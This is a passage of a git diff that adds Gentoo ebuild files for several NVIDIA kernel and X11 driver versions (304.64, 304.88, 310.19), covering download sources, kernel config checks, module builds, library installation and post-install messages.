+	portability toolchain-funcs unpacker user versionator
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://us.download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://us.download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 amd64-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+	 x86-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi custom-cflags multilib x-multilib kernel_FreeBSD kernel_linux tools X"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+	x-multilib? ( ~x11-drivers/nvidia-userspace-${PV}[x-multilib] )
+	multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+	~x11-drivers/nvidia-userspace-${PV}[tools=]
+	~x11-drivers/nvidia-userspace-${PV}[X=]"
+PDEPEND=""
+
+S="${WORKDIR}/"
+
+mtrr_check() {
+	ebegin "Checking for MTRR support"
+	linux_chkconfig_present MTRR
+	eend $?
+
+	if [[ $? -ne 0 ]] ; then
+		eerror "Please enable MTRR support in your kernel config, found at:"
+		eerror
+		eerror "  Processor type and features"
+		eerror "    [*] MTRR (Memory Type Range Register) support"
+		eerror
+		eerror "and recompile your kernel ..."
+		die "MTRR support not detected!"
+	fi
+}
+
+lockdep_check() {
+	# Kernel features/options to check for
+	CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+	use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+	# Now do the above checks
+	use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+		# linux-mod_src_compile calls set_arch_to_kernel, which
+		# sets the ARCH to x86 but NVIDIA's wrapping Makefile
+		# expects x86_64 or i386 and then converts it to x86
+		# later on in the build process
+		BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+	fi
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		use x86-fbsd   && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+		use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+		NV_SRC="${S}/src"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_SRC="${S}/kernel"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use kernel_FreeBSD; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+
+	if use kernel_linux; then
+		if kernel_is lt 2 6 9 ; then
+			eerror "You must build this against 2.6.9 or higher kernels."
+		fi
+
+		# If greater than 2.6.5 use M= instead of SUBDIR=
+		convert_to_m "${NV_SRC}"/Makefile.kbuild
+	fi
+	cat <<- EOF > "${S}"/nvidia.icd
+		/usr/$(get_libdir)/libcuda.so
+	EOF
+
+	# Allow user patches so they can support RC kernels and whatever else
+	epatch_user
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use kernel_FreeBSD; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	elif use kernel_linux; then
+		linux-mod_src_compile
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		linux-mod_src_install
+	elif use kernel_FreeBSD; then
+		if use x86-fbsd; then
+			insinto /boot/modules
+			doins "${S}/src/nvidia.kld" || die
+		fi
+
+		exeinto /boot/modules
+		doexe "${S}/src/nvidia.ko" || die
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+}
+
+pkg_preinst() {
+	use kernel_linux && linux-mod_pkg_preinst
+}
+
+pkg_postinst() {
+	use kernel_linux && linux-mod_pkg_postinst
+
+	echo
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+
+	elog "This package installs a kernel module and X driver. Both must"
+	elog "match explicitly in their version. This means, if you restart"
+	elog "X, you must modprobe -r nvidia before starting it back up"
+	elog
+
+}
+
+pkg_postrm() {
+	use kernel_linux && linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-304.64.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-304.64.ebuild
new file mode 100644
index 00000000..757a7ff2
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-304.64.ebuild
@@ -0,0 +1,444 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-drivers/nvidia-drivers/nvidia-drivers-304.64.ebuild,v 1.4 2012/12/19 16:52:01 tetromino Exp $
+
+EAPI=4
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+	portability toolchain-funcs unpacker user versionator udev
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA X11 driver and GLX libraries"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( ftp://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( ftp://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 amd64-fbsd? ( ftp://download.nvidia.com/XFree86/FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+	 x86-fbsd? ( ftp://download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* amd64 x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi multilib kernel_FreeBSD kernel_linux pax_kernel +tools +X"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="app-admin/eselect-opencl
+	kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+	multilib? ( app-emulation/emul-linux-x86-xlibs )
+	X? (
+		<x11-base/xorg-server-1.13.99
+		>=app-admin/eselect-opengl-1.0.9
+	)"
+DEPEND="${COMMON}
+	kernel_linux? (
+		virtual/linux-sources
+		virtual/pkgconfig
+	)"
+RDEPEND="${COMMON}
+	acpi? ( sys-power/acpid )
+	tools? (
+		dev-libs/atk
+		dev-libs/glib
+		x11-libs/gdk-pixbuf
+		x11-libs/gtk+:2
+		x11-libs/libX11
+		x11-libs/libXext
+		x11-libs/pango[X]
+		|| ( x11-libs/pangox-compat <x11-libs/pango-1.31[X] )
+	)
+	X? ( x11-libs/libXvMC )"
+PDEPEND="X? ( >=x11-libs/libvdpau-0.3-r1 )"
+
+REQUIRED_USE="tools? ( X )"
+
+QA_PREBUILT="opt/* usr/lib*"
+
+S=${WORKDIR}/
+
+pkg_pretend() {
+
+	if use amd64 && has_multilib_profile && \
+		[ "${DEFAULT_ABI}" != "amd64" ]; then
+		eerror "This ebuild doesn't currently support changing your default ABI"
+		die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+	fi
+
+	# Kernel features/options to check for
+	CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+	use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+	# Now do the above checks
+	use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+		# linux-mod_src_compile calls set_arch_to_kernel, which
+		# sets the ARCH to x86 but NVIDIA's wrapping Makefile
+		# expects x86_64 or i386 and then converts it to x86
+		# later on in the build process
+		BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+	fi
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		use x86-fbsd   && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+		use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+		NV_DOC="${S}/doc"
+		NV_OBJ="${S}/obj"
+		NV_SRC="${S}/src"
+		NV_MAN="${S}/x11/man"
+		NV_X11="${S}/obj"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_DOC="${S}"
+		NV_OBJ="${S}"
+		NV_SRC="${S}/kernel"
+		NV_MAN="${S}"
+		NV_X11="${S}"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use kernel_FreeBSD; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+
+	if use kernel_linux; then
+		if kernel_is lt 2 6 9 ; then
+			eerror "You must build this against 2.6.9 or higher kernels."
+		fi
+
+		# If greater than 2.6.5 use M= instead of SUBDIR=
+		convert_to_m "${NV_SRC}"/Makefile.kbuild
+	fi
+
+	if use pax_kernel; then
+		ewarn "Using PAX patches is not supported. You will be asked to"
+		ewarn "use a standard kernel should you have issues. Should you"
+		ewarn "need support with these patches, contact the PaX team."
+	    epatch "${FILESDIR}"/nvidia-drivers-pax-const.patch
+	    epatch "${FILESDIR}"/nvidia-drivers-pax-usercopy.patch
+	fi
+
+	cat <<- EOF > "${S}"/nvidia.icd
+		/usr/$(get_libdir)/libnvidia-opencl.so
+	EOF
+
+	# Allow user patches so they can support RC kernels and whatever else
+	epatch_user
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use kernel_FreeBSD; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	elif use kernel_linux; then
+		linux-mod_src_compile
+	fi
+}
+
+# Install nvidia library:
+# the first parameter is the library to install
+# the second parameter is the provided soversion
+# the third parameter is the target directory if its not /usr/lib
+donvidia() {
+	# Full path to library minus SOVER
+	MY_LIB="$1"
+
+	# SOVER to use
+	MY_SOVER="$2"
+
+	# Where to install
+	MY_DEST="$3"
+
+	if [[ -z "${MY_DEST}" ]]; then
+		MY_DEST="/usr/$(get_libdir)"
+		action="dolib.so"
+	else
+		exeinto ${MY_DEST}
+		action="doexe"
+	fi
+
+	# Get just the library name
+	libname=$(basename $1)
+
+	# Install the library with the correct SOVER
+	${action} ${MY_LIB}.${MY_SOVER} || \
+		die "failed to install ${libname}"
+
+	# If SOVER wasn't 1, then we need to create a .1 symlink
+	if [[ "${MY_SOVER}" != "1" ]]; then
+		dosym ${libname}.${MY_SOVER} \
+			${MY_DEST}/${libname}.1 || \
+			die "failed to create ${libname} symlink"
+	fi
+
+	# Always create the symlink from the raw lib to the .1
+	dosym ${libname}.1 \
+		${MY_DEST}/${libname} || \
+		die "failed to create ${libname} symlink"
+}
+
+src_install() {
+	if use kernel_linux; then
+		linux-mod_src_install
+
+		VIDEOGROUP="$(egetent group video | cut -d ':' -f 3)"
+		if [ -z "$VIDEOGROUP" ]; then
+			eerror "Failed to determine the video group gid."
+			die "Failed to determine the video group gid."
+		fi
+
+		# Add the aliases
+		[ -f "${FILESDIR}/nvidia-169.07" ] || die "nvidia missing in FILESDIR"
+		sed -e 's:PACKAGE:'${PF}':g' \
+			-e 's:VIDEOGID:'${VIDEOGROUP}':' "${FILESDIR}"/nvidia-169.07 > \
+			"${WORKDIR}"/nvidia
+		insinto /etc/modprobe.d
+		newins "${WORKDIR}"/nvidia nvidia.conf || die
+
+		# Ensures that our device nodes are created when not using X
+		exeinto "$(udev_get_udevdir)"
+		doexe "${FILESDIR}"/nvidia-udev.sh
+		udev_newrules "${FILESDIR}"/nvidia.udev-rule 99-nvidia.rules
+
+	elif use kernel_FreeBSD; then
+		if use x86-fbsd; then
+			insinto /boot/modules
+			doins "${S}/src/nvidia.kld" || die
+		fi
+
+		exeinto /boot/modules
+		doexe "${S}/src/nvidia.ko" || die
+	fi
+
+	# NVIDIA kernel <-> userspace driver config lib
+	donvidia ${NV_OBJ}/libnvidia-cfg.so ${NV_SOVER}
+
+	if use kernel_linux; then
+		# NVIDIA video decode <-> CUDA
+		donvidia ${NV_OBJ}/libnvcuvid.so ${NV_SOVER}
+	fi
+
+	if use X; then
+		# Xorg DDX driver
+		insinto /usr/$(get_libdir)/xorg/modules/drivers
+		doins ${NV_X11}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+		# Xorg GLX driver
+		donvidia ${NV_X11}/libglx.so ${NV_SOVER} \
+			/usr/$(get_libdir)/opengl/nvidia/extensions
+
+		# XvMC driver
+		dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+			die "failed to install libXvMCNVIDIA.so"
+		donvidia ${NV_X11}/libXvMCNVIDIA.so ${NV_SOVER}
+		dosym libXvMCNVIDIA.so.${NV_SOVER} \
+			/usr/$(get_libdir)/libXvMCNVIDIA_dynamic.so.1 || \
+			die "failed to create libXvMCNVIDIA_dynamic.so symlink"
+	fi
+
+	# OpenCL ICD for NVIDIA
+	if use kernel_linux; then
+		insinto /etc/OpenCL/vendors
+		doins nvidia.icd
+		donvidia ${NV_OBJ}/libnvidia-opencl.so ${NV_SOVER}
+	fi
+
+	# Documentation
+	dohtml ${NV_DOC}/html/*
+	if use kernel_FreeBSD; then
+		dodoc "${NV_DOC}/README"
+		use X && doman "${NV_MAN}/nvidia-xconfig.1"
+		use tools && doman "${NV_MAN}/nvidia-settings.1"
+	else
+		# Docs
+		newdoc "${NV_DOC}/README.txt" README
+		dodoc "${NV_DOC}/NVIDIA_Changelog"
+		doman "${NV_MAN}/nvidia-smi.1.gz"
+		use X && doman "${NV_MAN}/nvidia-xconfig.1.gz"
+		use tools && doman "${NV_MAN}/nvidia-settings.1.gz"
+		doman "${NV_MAN}/nvidia-cuda-proxy-control.1.gz"
+	fi
+
+	# Helper Apps
+	exeinto /opt/bin/
+
+	if use X; then
+		doexe ${NV_OBJ}/nvidia-xconfig || die
+	fi
+
+	if use kernel_linux ; then
+		doexe ${NV_OBJ}/nvidia-debugdump || die
+		doexe ${NV_OBJ}/nvidia-cuda-proxy-control || die
+		doexe ${NV_OBJ}/nvidia-cuda-proxy-server || die
+		doexe ${NV_OBJ}/nvidia-smi || die
+		newinitd "${FILESDIR}/nvidia-smi.init" nvidia-smi
+	fi
+
+	if use tools; then
+		doexe ${NV_OBJ}/nvidia-settings || die
+	fi
+
+	exeinto /usr/bin/
+	doexe ${NV_OBJ}/nvidia-bug-report.sh || die
+
+	# Desktop entries for nvidia-settings
+	if use tools ; then
+		# There is no icon in the FreeBSD tarball.
+		use kernel_FreeBSD || newicon ${NV_OBJ}/nvidia-settings.png nvidia-drivers-settings.png
+		domenu "${FILESDIR}"/nvidia-drivers-settings.desktop
+		exeinto /etc/X11/xinit/xinitrc.d
+		doexe "${FILESDIR}"/95-nvidia-settings
+	fi
+
+	#doenvd "${FILESDIR}"/50nvidia-prelink-blacklist
+
+	if has_multilib_profile && use multilib ; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis) ; do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+}
+
+src_install-libs() {
+	local inslibdir=$(get_libdir)
+	local GL_ROOT="/usr/$(get_libdir)/opengl/nvidia/lib"
+	local CL_ROOT="/usr/$(get_libdir)/OpenCL/vendors/nvidia"
+	local libdir=${NV_OBJ}
+
+	if use kernel_linux && has_multilib_profile && \
+			[[ ${ABI} == "x86" ]] ; then
+		libdir=${NV_OBJ}/32
+	fi
+
+	if use X; then
+		# The GLX libraries
+		donvidia ${libdir}/libGL.so ${NV_SOVER} ${GL_ROOT}
+		donvidia ${libdir}/libnvidia-glcore.so ${NV_SOVER}
+		if use kernel_FreeBSD; then
+			donvidia ${libdir}/libnvidia-tls.so ${NV_SOVER} ${GL_ROOT}
+		else
+			donvidia ${libdir}/tls/libnvidia-tls.so ${NV_SOVER} ${GL_ROOT}
+		fi
+
+		# VDPAU
+		donvidia ${libdir}/libvdpau_nvidia.so ${NV_SOVER}
+	fi
+
+	# NVIDIA monitoring library
+	if use kernel_linux ; then
+		donvidia ${libdir}/libnvidia-ml.so ${NV_SOVER}
+	fi
+
+	# CUDA & OpenCL
+	if use kernel_linux; then
+		donvidia ${libdir}/libcuda.so ${NV_SOVER}
+		donvidia ${libdir}/libnvidia-compiler.so ${NV_SOVER}
+		donvidia ${libdir}/libOpenCL.so 1.0.0 ${CL_ROOT}
+	fi
+}
+
+pkg_preinst() {
+	use kernel_linux && linux-mod_pkg_preinst
+
+	# Clean the dynamic libGL stuff's home to ensure
+	# we dont have stale libs floating around
+	if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+		rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+	fi
+	# Make sure we nuke the old nvidia-glx's env.d file
+	if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+		rm -f "${ROOT}"/etc/env.d/09nvidia
+	fi
+}
+
+pkg_postinst() {
+	use kernel_linux && linux-mod_pkg_postinst
+
+	# Switch to the nvidia implementation
+	use X && "${ROOT}"/usr/bin/eselect opengl set --use-old nvidia
+	"${ROOT}"/usr/bin/eselect opencl set --use-old nvidia
+
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+	elog "This ebuild installs a kernel module and X driver. Both must"
+	elog "match explicitly in their version. This means, if you restart"
+	elog "X, you must modprobe -r nvidia before starting it back up"
+	elog
+	elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+	elog
+	elog "To use the NVIDIA CUDA/OpenCL, run \"eselect opencl set nvidia\""
+	elog
+	elog "NVIDIA has requested that any bug reports submitted have the"
+	elog "output of /opt/bin/nvidia-bug-report.sh included."
+	elog
+	if ! use X; then
+		elog "You have elected to not install the X.org driver. Along with"
+		elog "this the OpenGL libraries, XvMC, and VDPAU libraries were not"
+		elog "installed. Additionally, once the driver is loaded your card"
+		elog "and fan will run at max speed which may not be desirable."
+		elog "Use the 'nvidia-smi' init script to have your card and fan"
+		elog "speed scale appropriately."
+		elog
+	fi
+	if ! use tools; then
+		elog "USE=tools controls whether the nvidia-settings application"
+		elog "is installed. If you would like to use it, enable that"
+		elog "flag and re-emerge this ebuild. Optionally you can install"
+		elog "media-video/nvidia-settings"
+		elog
+	fi
+}
+
+pkg_prerm() {
+	use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+	use kernel_linux && linux-mod_pkg_postrm
+	use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-304.88.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-304.88.ebuild
new file mode 100644
index 00000000..a0f9b979
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-304.88.ebuild
@@ -0,0 +1,187 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+	portability toolchain-funcs unpacker user versionator
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( ftp://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	amd64? ( ftp://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	amd64-fbsd? ( ftp://download.nvidia.com/XFree86/FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+	x86-fbsd? ( ftp://download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi custom-cflags multilib x-multilib kernel_FreeBSD kernel_linux pax_kernel tools X"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+	x-multilib? ( ~x11-drivers/nvidia-userspace-${PV}[x-multilib] )
+	multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+	~x11-drivers/nvidia-userspace-${PV}[tools=]
+	~x11-drivers/nvidia-userspace-${PV}[X=]"
+PDEPEND=""
+
+S="${WORKDIR}/"
+
+mtrr_check() {
+	ebegin "Checking for MTRR support"
+	linux_chkconfig_present MTRR
+	eend $?
+
+	if [[ $? -ne 0 ]] ; then
+		eerror "Please enable MTRR support in your kernel config, found at:"
+		eerror
+		eerror "  Processor type and features"
+		eerror "    [*] MTRR (Memory Type Range Register) support"
+		eerror
+		eerror "and recompile your kernel ..."
+		die "MTRR support not detected!"
+	fi
+}
+
+lockdep_check() {
+	# Kernel features/options to check for
+	CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+	use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+	# Now do the above checks
+	use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+		# linux-mod_src_compile calls set_arch_to_kernel, which
+		# sets the ARCH to x86 but NVIDIA's wrapping Makefile
+		# expects x86_64 or i386 and then converts it to x86
+		# later on in the build process
+		BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+	fi
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		use x86-fbsd   && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+		use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+		NV_SRC="${S}/src"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_SRC="${S}/kernel"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use kernel_FreeBSD; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+
+	if use kernel_linux; then
+		if kernel_is lt 2 6 9 ; then
+			eerror "You must build this against 2.6.9 or higher kernels."
+		fi
+
+		# If greater than 2.6.5 use M= instead of SUBDIR=
+		convert_to_m "${NV_SRC}"/Makefile.kbuild
+	fi
+	if use pax_kernel; then
+		ewarn "Using PAX patches is not supported. You will be asked to"
+		ewarn "use a standard kernel should you have issues. Should you"
+		ewarn "need support with these patches, contact the PaX team."
+		epatch "${FILESDIR}"/nvidia-drivers-pax-const.patch
+		epatch "${FILESDIR}"/nvidia-drivers-pax-usercopy.patch
+	fi
+	cat <<- EOF > "${S}"/nvidia.icd
+		/usr/$(get_libdir)/libnvidia-opencl.so
+	EOF
+
+	# Allow user patches so they can support RC kernels and whatever else
+	epatch_user
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use kernel_FreeBSD; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	elif use kernel_linux; then
+		linux-mod_src_compile
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		linux-mod_src_install
+	elif use kernel_FreeBSD; then
+		if use x86-fbsd; then
+			insinto /boot/modules
+			doins "${S}/src/nvidia.kld" || die
+		fi
+
+		exeinto /boot/modules
+		doexe "${S}/src/nvidia.ko" || die
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+}
+
+pkg_preinst() {
+	use kernel_linux && linux-mod_pkg_preinst
+}
+
+pkg_postinst() {
+	use kernel_linux && linux-mod_pkg_postinst
+
+	echo
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+
+	elog "This package installs a kernel module and X driver. Both must"
+	elog "match explicitly in their version. This means, if you restart"
+	elog "X, you must modprobe -r nvidia before starting it back up"
+	elog
+
+}
+
+pkg_postrm() {
+	use kernel_linux && linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-310.19.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-310.19.ebuild
new file mode 100644
index 00000000..c26611c4
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-310.19.ebuild
@@ -0,0 +1,180 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+	portability toolchain-funcs unpacker user versionator
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://us.download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://us.download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 amd64-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+	 x86-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi custom-cflags multilib x-multilib kernel_FreeBSD kernel_linux tools X"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
